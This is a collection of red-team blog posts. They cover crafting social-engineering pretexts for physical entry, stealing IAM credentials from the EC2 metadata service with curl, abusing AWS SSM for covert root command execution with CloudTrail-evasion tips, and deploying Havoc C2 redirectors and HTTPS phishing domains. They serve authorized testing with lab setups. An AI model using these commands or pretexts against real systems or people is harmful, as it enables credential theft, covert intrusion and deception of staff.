Crafting, supporting, and executing a pretext is an art that blends research, psychology, and improvisation. Done right, it can be one of the most powerful tools in a red teamer’s kit — and one that leaves a lasting lesson for the client.

TL;DR
- Strong pretexts start with thorough research using OSINT to align with the target’s reality.
- Red team success stories often rely on attention to detail, while failures stem from poor prep and weak cover.
- Psychological tactics like confidence, urgency, and familiarity help reinforce believability.
- Ethical considerations should guide pretext choices, avoiding harm and staying within rules of engagement.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Identity: Who are you?

Your identity is the foundation of your pretext — the role you’re assuming and the persona you inhabit. It should be simple enough to remember under pressure, yet specific enough to be believable. This includes your name, job title, department, and — critically — the kind of work someone in your role actually does on a daily basis.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

For example, posing as “Raj from Facilities” is weak on its own. But saying you're "Raj Mehra, part of the third-party HVAC team contracted through MetroTech Services, here to perform quarterly air quality tests on floor 3 and 5” adds layers that help sell the role. You don’t need to memorize an entire resume, but you should be able to explain your job in one or two convincing sentences. Understand what tools you would carry, what jargon you’d use, and what problems you might be called in to fix. If someone asks, "Oh, did you fix that duct yet?" you should be able to say, "Not yet — they asked us to prioritize server rooms first because of a temp alert yesterday."

The best pretexts often mirror real roles that exist in the organization or industry, allowing you to blend into expected workflows instead of creating new ones. You want to be someone that others are used to seeing — or at least someone they expect to see eventually.

Mission: Why are you here?

Once you know who you are, the next piece of the puzzle is explaining why you're here right now. The mission should provide a logical and timely reason for your presence or interaction. It should make sense to the person you’re targeting without requiring them to do any mental gymnastics.

Saying “I’m here to check the wiring” is vague. Saying “I’ve been scheduled to inspect the switch panels in the 2nd floor IDF closet — there was a failed breaker alert last night” offers clarity and purpose. It also builds on existing systems they may recognize, like automated alerts or maintenance schedules. Your mission gives your pretext urgency or relevance, which helps bypass deeper scrutiny. Most people are far less likely to challenge someone who appears to be doing an important or time-sensitive task.

A good mission is also flexible. If you're stopped before reaching your target, it should be plausible that your task would require you to be where you are — and that being stopped would delay or inconvenience someone else in the chain.

Backstory: What brought you here?

The backstory supports the identity and mission by filling in how you came to be involved in this situation. It's the narrative bridge between the role and the action. The stronger the backstory, the less suspicious your presence feels. A good backstory includes how you were assigned the task, how you got access (or are trying to get access), and who you’re reporting to.

For example, if you’re pretending to be a printer technician, your backstory could be: “We got a ticket through ServiceLink yesterday about the 4th floor HP LaserJet jamming again. The regular guy's out sick, so I was sent in his place. I’m just trying to knock this one out before 11, I’ve got another call across town.”

That story answers several questions before they’re even asked:

• Why are you here? (Because of a service ticket.)

• Why haven’t we seen you before? (You’re covering for someone else.)

• Are you in a rush? (Yes — implying pressure and urgency.)

A good backstory can also anchor your behavior. If you're slightly rushed or annoyed, it aligns with your story about being overbooked. If you're carrying tools or looking slightly disheveled, it supports your story of running from job to job.

Cover Story Support: What props, documents, or details support your identity?

Even the best story can fall flat if it's not supported by visual or physical elements. That’s where cover story support comes in. This includes props, documentation, attire, and even language or terminology that reinforces your role.

Think of this as the “set dressing” of your performance. A clipboard with mock work orders, a badge with the logo of a common vendor, or a rolling toolbox can all help sell your pretext. In some cases, an outdated printout or laminated ID badge with a barcode and a convincing company name is enough to disarm suspicion. Props don’t need to be flashy — in fact, subtle and slightly boring is better. You want to look forgettable, not memorable.

Details also count. Mentioning a known vendor used by the company, or referencing the name of a building or room that exists on-site (learned via OSINT or physical recon) can instantly legitimize your presence. If someone asks where you parked, and you say “Loading dock B — same spot as last time,” you’ve subtly reinforced that this isn’t your first visit.

Contingency Plan: What if you’re questioned or challenged?

No pretext is bulletproof. That’s why every good red teamer builds a contingency plan — an escape route or alternate explanation in case the story begins to fall apart. This might mean having a name ready to drop ("You can check with Marissa from Facilities — she was supposed to let Security know") or a reason to step away and regroup ("I think I left my phone in the van — mind if I grab it real quick?").

Contingency plans help you maintain control when the narrative shifts. They also allow you to exit gracefully, preserving the illusion of legitimacy. For example, if you're being pressed too hard on your role and can't keep up, say, “Ah — I think there’s been a mix-up. I might’ve been sent to the wrong site. I’ll call dispatch to confirm.” Then leave, regroup, and decide whether to re-approach later under a different guise.

Sometimes the fallback plan is as simple as pivoting to another task. If your primary objective (e.g., accessing a server room) becomes too risky, a good pretext lets you shift gears — perhaps you start doing “routine checks” elsewhere in the building to maintain your cover and gather information for a second attempt.

Each of these elements — identity, mission, backstory, support, and contingency — work together to create a living, breathing character that fits naturally into your target’s environment. When done well, a strong pretext doesn’t just pass inspection — it invites cooperation.

TL;DR
- A strong pretext starts with a clear, believable identity — who you are and what your role involves.
- The mission defines why you’re there at that moment and gives your presence purpose.
- The backstory connects your identity and mission, explaining how and why you got involved.
- Cover story support includes props, attire, documents, and small details that reinforce your role.
- A good pretext includes a contingency plan — an exit or fallback strategy if you’re challenged.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Pretexting, at its core, is the practice of crafting and assuming a false identity or backstory to influence a target. It's what makes someone believe that you're from IT and need access to their machine, or that you're a delivery person with a package for the marketing team. Good pretexts don’t just trick people — they make your presence feel natural. They create enough plausible context that no one stops to question it, because it fits within the framework of what people expect to see or hear.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Building a believable pretext is much harder than it seems. It’s not just about choosing a fake job title or throwing on a high-visibility vest. Too often, red teamers fall into the trap of relying on shallow, generic, or inconsistent stories. One of the most common mistakes is using the classic “I’m from IT” approach without any thought behind it. Who exactly are you from IT? What department? Which ticketing system do you use? If challenged, can you explain what kind of laptop encryption the company uses or why a system update wasn’t announced via the usual channel?

Pretexts fail when they are either too vague or too detailed in the wrong ways. A red teamer might say they’re a contractor working on a wireless audit, but if they can’t name who hired them, who they're reporting to, or what floor the server room is on, that raises suspicion. On the other hand, an overly detailed backstory that doesn’t match the environment — like referencing a vendor or process the target company never uses — can be just as damning. The best pretexts are specific enough to be believable, but broad enough to allow improvisation.

Consistency is another hallmark of a strong pretext. It's easy to invent a role, but far harder to stick to it when pressure is applied. Suppose you’re impersonating a facilities technician performing air quality checks. You walk into the building with a clipboard and a small sensor — both props to support your cover. Everything’s going well until a receptionist casually asks, “Oh, do you usually come in on Tuesdays? I thought they did the checks on Fridays.” At that moment, if your story wavers — if your tone changes, or you stumble on your answer — the illusion cracks. Good pretexts are resilient. They hold up under scrutiny because they’ve been rehearsed and built with believable constraints and flexibility.

Understanding why pretexts fail is the first step toward crafting ones that succeed. In the next part, we’ll break down the anatomy of a strong pretext—what makes it believable, resilient, and convincing enough to open doors and lower defenses. Stay tuned.

TL;DR
- Pretexts are backstories that explain who you are and why you’re there.
- A strong pretext feels natural and fits seamlessly into the target’s environment.
- Many pretexts fail because they are vague, inconsistent, or overly detailed without alignment to reality.
- Consistency and specific context are crucial to avoid raising suspicion during interactions.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

These temporary credentials are critical for automation. They allow applications to access AWS services (like S3, DynamoDB, or SQS) securely without hardcoding credentials or manually managing keys. However, access to the metadata endpoint is local — meaning any process or user on the machine can access it unless extra protections are in place.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

The metadata endpoint requires no special system privileges to query. If an EC2 instance has an IAM role attached, then accessing the security credentials is as simple as making an HTTP GET request to a known path. Once obtained, these credentials can be used just like any AWS access key pair — within the permissions granted by the role.

Scenario: Escalating privileges after gaining a foothold in an EC2 instance

Imagine a red team operator has compromised a vulnerable web application running on an EC2 instance. The initial access could have come from an RCE vulnerability, stolen credentials, or misconfigured exposure. Once inside, the operator begins basic enumeration.

They discover that the application is running under a standard Linux user with limited privileges. However, further inspection of the cloud environment reveals that the instance has an IAM role attached, granting permissions to interact with an S3 bucket. This bucket is used internally by the application — for example, to store PDF documents generated from user submissions or to archive access logs. The bucket is not publicly accessible from outside the EC2 instance, nor is it open to arbitrary IAM users — only the EC2 instance’s role has access.

The red team operator now considers leveraging the EC2 Metadata API to abuse this attached role and escalate privileges in the AWS environment. By retrieving temporary credentials from the Metadata API and using them directly with AWS CLI or SDKs, they aim to interact with the S3 bucket (or other services) in ways that may not be permitted to the local user or application logic.

Levaraging Metadata API for privilege escalation

This technique hinges on the simple fact that the Metadata API is exposed to all processes on the machine, and the temporary credentials it provides carry all the permissions assigned to the instance’s IAM role. If the role has overly permissive or misconfigured policies, the attacker can leverage it to access sensitive resources or pivot deeper into the AWS account.

Here’s how this works in practice:

1. The attacker queries the Metadata API at http://169.254.169.254/latest/meta-data/iam/security-credentials/. This returns the name of the role attached to the instance.

2. They then query http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> to retrieve the temporary credentials — AccessKeyId, SecretAccessKey, and Token.

3. These credentials are exported as environment variables or used directly with the AWS CLI or SDK.

4. The attacker uses the credentials to interact with AWS services like S3, sometimes discovering they can read, write, or delete data, even though these actions weren’t possible via the local application interface.

5. If the attached IAM role has broader permissions — such as access to IAM, Lambda, Secrets Manager, or EC2 — the attacker can perform actions that go well beyond accessing the S3 bucket, potentially leading to privilege escalation, persistence, or data exfiltration.

This method does not require root privileges or AWS credentials to begin with. It only requires code execution on the EC2 instance and access to the internal metadata IP address.

Step-by-step guide - Practicing the technique in a lab

You can follow this guide to try this technique in a controlled environment. A fully deployable Terraform lab is available in the 100 Days of Red Team Terraform GitHub repository, designed to simulate this exact scenario.

You can use this AWS IAM policy to successfully deploy this project. It contains all necessary permissions.

Assumptions:

• You have shell access to an EC2 instance.

• The instance has an IAM role attached with some level of AWS permissions.

• You have curl or a similar tool installed.

Step 0: Understand IMDSv2

Since mid-2020, IMDSv2 is the default metadata access method for EC2 instances. It requires a session token obtained via a PUT request to the metadata endpoint. Any subsequent GET requests must include that token in an HTTP header.

This is a defense mechanism to protect against SSRF and metadata scraping via non-interactive processes. However, if you have shell access to the instance, you can still fetch the token manually.

Step 1: Check If an IAM Role is Attached to the Instance

TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

Then:

curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/info

What’s Happening:

• This request checks whether an IAM role is attached to the instance.

• If a role is present, the response will include metadata such as the role name and instance profile ARN.

This confirms that the instance is using an instance profile (IAM role) and gives us the name needed for credential enumeration.

Step 2: Confirming the IAM Role Name by Further Enumeration

curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

This endpoint returns only the role name (e.g., AppS3ReadOnlyRole). It’s simpler than the full iam/info output but complements it.

Step 3: Retrieve Temporary AWS Credentials for the Role

curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2_s3_read_role_7099aae9

What’s Happening:

• This fetches the temporary security credentials associated with the IAM role.

• The credentials include:

  • AccessKeyId

  • SecretAccessKey

  • Token (session token)

  • Expiration timestamp

Step 4: Use the Credentials Locally

Depending on the environment, we will need to export these credentials to shell so that the AWS CLI or SDK can use them.

On macOS/Linux (bash/zsh):

export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj..."

On Windows PowerShell:

$env:AWS_ACCESS_KEY_ID = "ASIA..."
$env:AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI..."
$env:AWS_SESSION_TOKEN = "IQoJb3JpZ2luX2Vj..."

On Windows Command Prompt (cmd.exe)

set AWS_ACCESS_KEY_ID=ASIA...
set AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
set AWS_SESSION_TOKEN=IQoJb3JpZ2luX2Vj...

Step 5: Infer Permissions Associated with the IAM Role

After extracting the credentials from the metadata service, we can try to interact with common AWS services — like S3 — to determine what actions are permitted.

aws s3 ls

Step 6: Accessing the S3 Bucket

Next, lets attempt to list contents of the bucket my-redteam-lab-bucket-7099aae9:

aws s3 ls s3://my-redteam-lab-bucket-7099aae9/

Download the file from the bucket:

aws s3 cp s3://my-redteam-lab-bucket-7099aae9/secret.txt .

What’s Happening:

• These commands interact directly with AWS, impersonating the EC2 instance.

• If the IAM role is overly permissive or not tightly scoped, you may gain access to resources far beyond the application's original intent.

Other Use Cases

Depending on the permissions assigned to the attached IAM role, this technique can also be used for accessing other secrets, establishing persistence, evasion etc. as mentioned below:

• Use credentials to access Secrets Manager or SSM Parameter Store if the role allows.

• Deploy new infrastructure (like EC2 instances or Lambda functions) to establish persistence.

• Enumerate IAM roles and permissions for lateral movement.

• Harvest credentials or tokens for other services.

• Bypass network or identity boundaries by leveraging assume-role permissions if granted.

OPSEC considerations and other use cases

While this technique is powerful, it can leave behind noisy footprints if not handled carefully. For example,

• Fetching credentials via the Metadata API does not generate CloudTrail logs. However, using the credentials with the AWS CLI, SDKs, or APIs does.

• AWS CloudTrail logs any use of the temporary credentials outside the instance, such as from a remote attacker’s machine. To stay covert, proxying requests through the EC2 instance is safer.

• Using tools like aws ec2 describe-instances or aws iam list-users might trigger alerts in environments with good logging and monitoring.

TL;DR
- AWS EC2 instances expose a Metadata API (169.254.169.254) that can leak temporary credentials if improperly secured.
- A red team operator who gains shell access to an EC2 instance can abuse this API to extract IAM role credentials attached to that instance.
- These credentials can be used to access restricted AWS services like S3, if permitted by the role.
- This technique enables lateral movement, data access, or further privilege escalation within AWS environments.
- OPSEC tip: Metadata access leaves minimal logs, but AWS actions (e.g., S3 reads) may show up in CloudTrail.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

This tool is beloved by DevOps teams for its ease of use and central management. However, in the hands of a red teamer or a malicious actor, Session Manager becomes a stealthy post-exploitation vector. In this post, I explain how red team operators can abuse AWS SSM Sessions to gain covert, access to EC2 instances without ever touching a key file or opening a TCP port — all by living off the land.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

What is SSM session abuse?

At its core, this technique leverages legitimate AWS Systems Manager capabilities to achieve remote shell access to EC2 instances. Normally, administrators use SSM Session Manager to connect to instances for maintenance, troubleshooting, and automation. It works by routing session traffic through the AWS control plane, meaning the target instance doesn’t need to expose any inbound ports. The session is encrypted, recorded if configured, and authorized via IAM.

But from a red team operator's point of view, this setup is a goldmine. If they manage to compromise AWS credentials — whether via leaked keys, metadata theft, or phishing — and those credentials have the right permissions, they can start a session to any EC2 instance that’s online and managed by SSM. No SSH key? No problem. No open ports? Not needed. It’s as if AWS itself is acting as the reverse proxy to your target — invisibly bridging the attacker and victim.

Why this matters in enterprise environments?

The rise of SSM in enterprise settings has been swift. Security-conscious organizations now rely on Session Manager instead of SSH for managing instances. It allows them to shut down public access to port 22, rotate credentials centrally, and log all activity in CloudTrail or CloudWatch — at least in theory.

In practice, many enterprises over-permission IAM roles. EC2 instances are often assigned managed instance profiles like AmazonSSMManagedInstanceCore, granting full access to Session Manager. Worse, developers and automation scripts might be assigned credentials that include ssm:* permissions without proper scoping. These lapses are invisible until someone exploits them.

From a red team perspective, this means that after a successful credential compromise — for example, by extracting temporary keys from the EC2 metadata service — there's a good chance those credentials have access to SSM.

How to abuse AWS SSM for covert access?

To better understand how this works in practice, let’s walk through an end-to-end example. We will assume the red team operator has already compromised AWS credentials that belong to a role or user with the following permissions:

• ssm:GetCommandInvocation

• ssm:TerminateSession

• ssm:StartSession

• ssm:SendCommand

• ssm:DescribeInstanceInformation

• ec2:DescribeInstances

The victim EC2 instance must also meet a few criteria:

• It’s running the SSM Agent (installed by default on Amazon Linux 2 and some Ubuntu AMIs).

• It has an IAM role attached with the necessary SSM permissions.

• It can communicate with SSM endpoints, typically via outbound internet or VPC endpoints.

You can deploy a practice lab for this using the AWS SSM Covert Access Terraform project available in 100 Days of Red Team GitHub.

You can use this AWS IAM policy to successfully deploy this project. It contains all necessary permissions.

Step 1: Enumerate Available Instances via SSM

The first step is to discover which EC2 instances are online and managed by SSM. This can be done using the following AWS CLI command:

aws ssm describe-instance-information --region us-east-1

This returns a list of instance IDs, platform types, and online status. From ared team operator’s perspective, this is like identifying open ports on internal servers — except you're doing it via API calls and control-plane traffic, which is much less likely to be caught by EDR or NIDS.

Step 2: Start a Session to a Target Instance

Once a valid target is identified, the attacker can initiate an SSM session using:

aws ssm start-session --target i-076184dc97cce1eba --region us-east-1

This requires AWS Session Manager plugin to be installed on the local machine. Instructions for the same can be found here.

This launches an interactive shell directly into the EC2 instance. No SSH keys. No firewall exceptions. The connection is tunneled through AWS’s control infrastructure, making it nearly invisible to most monitoring tools focused on network or OS-level events.

Step 3: Run Arbitrary Commands with send-command

Even if interactive shell access is blocked or restricted, the attacker can still run one-off commands using send-command:

aws ssm send-command --instance-ids i-076184dc97cce1eba --document-name "AWS-RunShellScript" --parameters commands=["whoami"] --region us-east-1

To retrieve output:

aws ssm get-command-invocation --command-id 62afa871-f535-44e3-8041-6216d52e5adc --instance-id i-076184dc97cce1eba

A keen eye may have observed that commands executed via send-command execute as the root user. This means we can escalate privileges without needing any additional access or tools.

This is equivalent to remote code execution via an AWS API call. This access can further be exploited to drop advanced payloads or obtain a reverse shell.

OPSEC considerations

While SSM abuse is stealthier than traditional remote access, it’s not entirely invisible. Security teams that properly configure logging can detect or reconstruct SSM usage.

TL;DR
- AWS Systems Manager (SSM) allows shell access to EC2 instances via encrypted API calls — no need for SSH or open ports.
- Attackers with valid AWS credentials and proper permissions can use ssm:StartSession to gain covert access to EC2s.
- SSM agents must be installed and running, and the EC2 instance must have an IAM role with the AmazonSSMManagedInstanceCore policy.
- Red teamers can abuse this to bypass firewalls, avoid detection, and maintain stealthy persistent access.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

In this post, we add code to increase the stealth of the infratructure. The goal is to map the redirector to a domain name and deploy a valid SSL certificate issued by Let’s Encrypt.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Why map the redirector to a domain name with SSL?

From a red team perspective, using a domain name rather than a raw IP address provides a layer of flexibility and operational security. Domains are easier to remember, look less suspicious in phishing campaigns, and can be quickly redirected to different infrastructure if needed. More importantly, pairing the domain with a valid SSL certificate increases trust. A secure HTTPS connection is not just a compliance checkbox—it can prevent immediate flagging by security tools and skeptical users. Traffic over HTTPS is encrypted, which helps reduce visibility into the payloads being transmitted, especially when paired with a C2 framework that uses HTTPS-based beaconing.

A redirector is often the first exposed asset in red team infrastructure—it acts as a proxy, obfuscating the real location of the command and control server. Therefore, securing this point of contact with HTTPS is not optional—it is critical.

Assumptions

I make a few assumptions for this post:

• A domain name has already been purchased from a registrar.

• The domain’s nameservers have been updated to point to Cloudflare.

• SSL setting in Cloudflare is already configured to Full (Strict). This ensures that Cloudflare will only accept end-to-end encrypted communication, even between Cloudflare and the origin server (i.e., the redirector).

How we’ll secure the redirector

Following is the approach for binding the redirector to a domain name and securing it with SSL:

1. Add Cloudflare as a Terraform provider

Cloudflare will be used to manage DNS records programmatically. By using Cloudflare’s Terraform provider, DNS changes can be version-controlled, repeatable, and integrated into the infrastructure-as-code workflow. These changes are also rolled back when the infrastructure is destroyed.

2. Create a module named cloudflare_dns to add an A record

We create a module (similar to previous posts) to create DNS records in Cloudflare. This module will accept inputs such as domain name, subdomain, and the IP address of the redirector instance. It will then create an A record in Cloudflare pointing the provided domain name to the public IP of the redirector.

3. Use certbot to generate the SSL certificate

Once DNS is in place and propagated, the next task is to provision an SSL certificate. On the redirector machine, we will use the certbot tool for obtaining SSL certificates from Let’s Encrypt.

We will run Certbot in a non-interactive manner. This involves specifying all required flags at runtime: domain name, email address, agreement to terms, and web server plugin. Certbot will then handle the ACME challenge with Let’s Encrypt to verify domain ownership and generate the SSL certificate. Once successful, Apache will be automatically configured to use HTTPS.

Steps to generate a Cloudflare API token

To manage DNS records through Terraform, Cloudflare requires an API token with specific permissions. This is how to generate it:

1. Log in to your Cloudflare dashboard.

2. Navigate to Profile > API Tokens.

3. Click on Create Token.

4. Choose the Edit zone DNS template or manually assign these permissions:

   1. Zone → Read | All zones or specific

   2. DNS → Edit | All zones or specific

5. Generate and copy the token securely—this will be used in the Terraform provider block.

This token will be passed to Terraform using the secrets.tfvars file.

Terraform resources required to map a domain name

Terraform interacts with Cloudflare using specific resource types. Here's an overview of the resources used in this lesson:

cloudflare/cloudflare

The Cloudflare provider is required to interact with the Cloudflare API. This tells Terraform to authenticate using the token and enables access to all DNS-related resources.

Here’s the syntax for using this provider:

terraform {
  required_version = ">= 1.11.0"

  required_providers {
    cloudflare = {
      source  = "cloudflare/cloudflare"
      version = ">= 5.4.0"
    }
  }
}

provider "cloudflare" {
  api_token = var.cloudflare_api_token
}

cloudflare_zone

This resource fetches information about the DNS zone (domain) being managed. This is typically used to get the zone ID, which is required when creating DNS records.

Here’s the syntax for provisioning cloudflare_zone data resource:

data "cloudflare_zone" "example" {
    filter = {
    name = "example.com"
  }
}

cloudflare_dns_record

Used to create DNS records such as A, CNAME, or TXT. We will use this to map a domain name to the IP of the redirector EC2 instance.

Here’s the syntax for provisioning cloudflare_zone data resource:

resource "cloudflare_dns_record" "redirector" {
  zone_id = data.cloudflare_zone.example.id
  name    = "redirector"
  value   = var.redirector_public_ip
  type    = "A"
  ttl     = 1  # TTL must be set to 1 when proxied is set to true
  proxied = true
}

Deploying the domain name and SSL certificate configuration code

Refer to the Kickstarting red team infrastructure automation via Terraform to understand the architecture we are working with.

Here is the Terraform Red Team Infrastructure project in 100 Days of Red Team GitHub repository that maps the redirector machine to a domain name, generates and configures the SSL certificate.

Clone this project to your machine and execute the following commands to deploy the infrastructure:

⚠️Reminder: Switch to the dev Terraform workspace (terraform workspace select dev) before executing following commands. To create dev workspace use, terraform workspace new dev.

terraform init
terraform plan -var-file "secrets.tfvars"
terraform apply -var-file "secrets.tfvars"

Reminder: You must create a secrets.tfvars file manually to hold credentials. Never commit secrets to version control. It contains AWS credentials temporarily stored in plain text, which is not recommended for production environments. Also, we are still using local state files for simplicity. In a real red team deployment, you must use an encrypted remote backend.

Once done, remember to destroy the infrastructure via following command (or you may incur significant costs):

terraform destroy -var-file "secrets.tfvars"

TL;DR
In this post we covered how to:
- Use the cloudflare provider map the given domain name to redirector's public IP by programmatically creating an A record. 
- Generate and deploy a SSL certificate by running certbot in a non-interactive manner.
- Validate the functioning of domain name by deploying a payload on a Windows box.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

In this post, we take this infrastructure a step forward by adding a redirector machine. The goal is to deploy the redirector on an Ubuntu 24.04 EC2 instance and configure it to run a web server and forward request received on port 443 to the Havoc C2 team server.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Why we need a redirector machine?

In a red team engagement, exposing the C2 server directly to the internet significantly increases risk. Threat detection tools and defenders monitor network traffic, and a known or newly-identified C2 server IP can quickly become a point of failure. A redirector helps mitigate this by acting as a buffer between the public internet and the actual C2 server.

The redirector’s primary job is to forward traffic—typically over ports 80 (HTTP) and 443 (HTTPS)—to the backend Havoc C2 server, making it appear as though the connection terminates at the redirector. This technique helps mask the true location and identity of the C2 infrastructure. It also adds a layer of operational security by allowing dynamic redirection, traffic filtering, and the use of deception techniques such as domain fronting or HTTP filtering.

EC2 instance and other configuration

To deploy the redirector machine, a new t3.micro Ubuntu 24.04 EC2 instance is added to our red team infrastructure. This instance will be attached to a new public subnet (192.168.3.0/24). This subnet will allow access to ports 80 and 443. The operator will be allowed to connect to the instance via SSH (key-based authentication). SSH access will be allowed only from the Havoc C2 server.

Once the redirector EC2 instance is created, it is configured automatically using a custom user_data script. This script is passed to the instance during launch using Terraform’s templatefile() function.

This script performs the following steps:

• Updates package lists and installs apache2.

• Enables ssl, rewrite, proxy, proxy_http Apache modules.

• Enables the SSL configuration in /var/apache2/sites-enabled.

• Adds a directory block to the SSL configuration.

• Updates the SSL configuration to allow SSL proxy and relax SSL verification requirements (since we are working with self-signed certificates).

• Setup web traffic redirection via a .htaccess file. The .htaccess configuration will:

  • disable directory browsing

  • redirect all requests to / to index.html

  • serve all request matching a file on the redirector machine

  • forward all remaining requests to the Havoc C2 server

• Creates an index.html file in /var/www/html directory.

Next, the user_data script for the Havoc C2 server is updated to automate certain steps. This includes:

• Creating a systemd service that ensures the Havoc team server starts automatically whenever the instance reboots.

• Installing autossh, a tool used to maintain a persistent SSH tunnel.

• Configuring autossh to establish a reverse SSH tunnel to the redirector EC2 instance. This tunnel forwards traffic from the redirector to the Havoc C2 server.

• Creating another systemd service to automatically launch the autossh and setup a reverse SSH tunnel on boot.

The user_data script for the Kali Linux EC2 instance is updated to:

• Place the previously generated SSH private key to the machine. This is done to allow copying of generated payloads to the redirector machine.

Deploying the redirector machine

Refer to the Kickstarting red team infrastructure automation via Terraform to understand the architecture we are working with.

Here is the Terraform Red Team Infrastructure project in 100 Days of Red Team GitHub repository that deploys a redirector machine.

Clone this project to your machine and execute the following commands to deploy the infrastructure:

⚠️Reminder: Switch to the dev Terraform workspace (terraform workspace select dev) before executing following commands. To create dev workspace use, terraform workspace new dev.

terraform init
terraform plan -var-file "secrets.tfvars"
terraform apply -var-file "secrets.tfvars"

Reminder: You must create a secrets.tfvars file manually to hold credentials. Never commit secrets to version control. It contains AWS credentials temporarily stored in plain text, which is not recommended for production environments. Also, we are still using local state files for simplicity. In a real red team deployment, you must use an encrypted remote backend.

Once done, remember to destroy the infrastructure via following command (or you may incur significant costs):

terraform destroy -var-file "secrets.tfvars"

TL;DR
In this post we covered how to:
- Deploy and configure a redirector machine via Terraform.
- Deploy systemd services to auto-start Havoc C2 team server and automatically establish a reverse tunnel via autossh.
- Validate the functioning of redirector machine by deploying a payload on a Windows box.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

In this post, this infrastructure takes a significant step forward with the deployment of a dedicated command and control (C2) server. The goal is to deploy Havoc C2 team server on an Ubuntu 24.04 EC2 instance and configure the existing Kali machine to run the Havoc client—completing the end-to-end command and control setup often required in red team operations.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Why Havoc C2?

When planning infrastructure for red team engagements, selecting the right C2 framework is essential. Commercial C2 platforms such as Cobalt Strike or Brute Ratel are feature-rich but expensive. Many open-source alternatives like Sliver or Covenant offer potential, but they are primarily command-line driven and lack intuitive UIs, which can be a barrier for operators used to graphical workflows. Havoc C2 fills this gap. It is open-source, feature-rich, and includes a graphical interface that provides an accessible and professional feel.

EC2 instance and other configuration

To deploy the Havoc team server, a new t3.medium Ubuntu 24.04 EC2 instance is added to our red team infrastructure. This instance will be attached to the existing public subnet. Users will be allowed to connect to the instance via SSH (key-based authentication). SSH access will be allowed over the internet (for now) but will be restricted to the user’s public IP address.

Havoc C2 installation is automated by passing an initialization bash script as a template file to the EC2 instance via user_data argument. This bash script will install all necessary dependencies, clone the Havoc GitHub repository and compile the Havoc server.

Havoc C2 provides a GUI-based client interface. To be able to access it a machine with Desktop interface is required. This can be approached in a couple of ways. The first approach is to leverage the WSL on the Windows machine. The second approach is to enable RDP access on the Kali Linux machine and deploy the client on it. We will be going with the second approach, primarily to reduce the setup time.

To enable RDP access and deploy Havoc C2 client on the Kali machine, I have updated it’s initialization bash script to include relevant commands. I also changed the instance type of the Kali Linux EC2 from t3.small to t3.medium. This change was required for successful compilation of Havoc C2 client.

Finally, the ingress rules in the security group are updated to allow access to port 40056 from within the public subnet. Port 40056 is the default port for Havoc C2 team server.

Deploying Havoc C2

Refer to the Kickstarting red team infrastructure automation via Terraform to understand the architecture we are working with.

Here is the Terraform Red Team Infrastructure project in 100 Days of Red Team GitHub repository that deploys Havoc C2.

Clone this project to your machine and execute the following commands to deploy the infrastructure:

⚠️Reminder: Switch to the dev Terraform workspace (terraform workspace select dev) before executing following commands. To create dev workspace use, terraform workspace new dev.

terraform init
terraform plan -var-file "secrets.tfvars"
terraform apply -var-file "secrets.tfvars"

Reminder: You must create a secrets.tfvars file manually to hold credentials. Never commit secrets to version control. It contains AWS credentials temporarily stored in plain text, which is not recommended for production environments. Also, we are still using local state files for simplicity. In a real red team deployment, you must use an encrypted remote backend.

Once done, remember to destroy the infrastructure via following command (or you may incur significant costs):

terraform destroy -var-file "secrets.tfvars"

TL;DR
In this post we covered how to:
- Deploy an Ubuntu 24.04 EC2 instance using the official Ubuntu Server AMI.
- Deploy and build Havoc C2 team server on the Ubuntu EC2 instance.
- Deploy and build Havoc C2 client on the Kali Linux EC2 instance.
- Enable RDP access to the Kali Linux EC2 instance.
- Executing Havoc C2 client via RDP access to the the Kali Linux EC2 instance.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Why we need a Windows attacker box

In many red team operations, having access to a Windows-based attacker system is just as important as using a Linux platform like Kali. While Kali provides a vast arsenal of offensive tools, some tasks—such as developing or testing Windows-specific exploits, working with C# or PowerShell payloads, or compiling .NET malware—are best suited for a native Windows environment. The ability to run tools that are tightly coupled with Windows APIs or graphical user interfaces over RDP can significantly enhance operational effectiveness.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

EC2 instance configuration

To set up our Windows attacker machine, we use the Windows Server 2022 Base AMI, a t3.medium instance type (2 vCPU, 4 GB RAM), and allocate 30 GB of storage to avoid low disk space issues later. This machine is attached to the public subnet, enabling us to connect to it via Remote Desktop Protocol (RDP).

We include a custom user_data script to automate the initial configuration. This script does the following:

• Enables WSL (Windows Subsystem for Linux) so that users can install a lightweight Linux environment if needed

• Installs Chocolatey (a Windows package manager)

• Uses Chocolatey to install:

  • Visual Studio Code

  • Python

  • .NET SDK

⚠️ It’s important to note that SSH key-based access to Windows EC2 is not supported by AWS. Although we can inject a public key into the instance for some purposes, this does not enable standard SSH login as it does on Linux instances. RDP remains the only official remote access method.

I have intentionally kept the installation of tools through Terraform minimal. Terraform is best suited for infrastructure provisioning and not for extensive system configuration. We will handle the more complex software provisioning later using configuration management tools like Ansible.

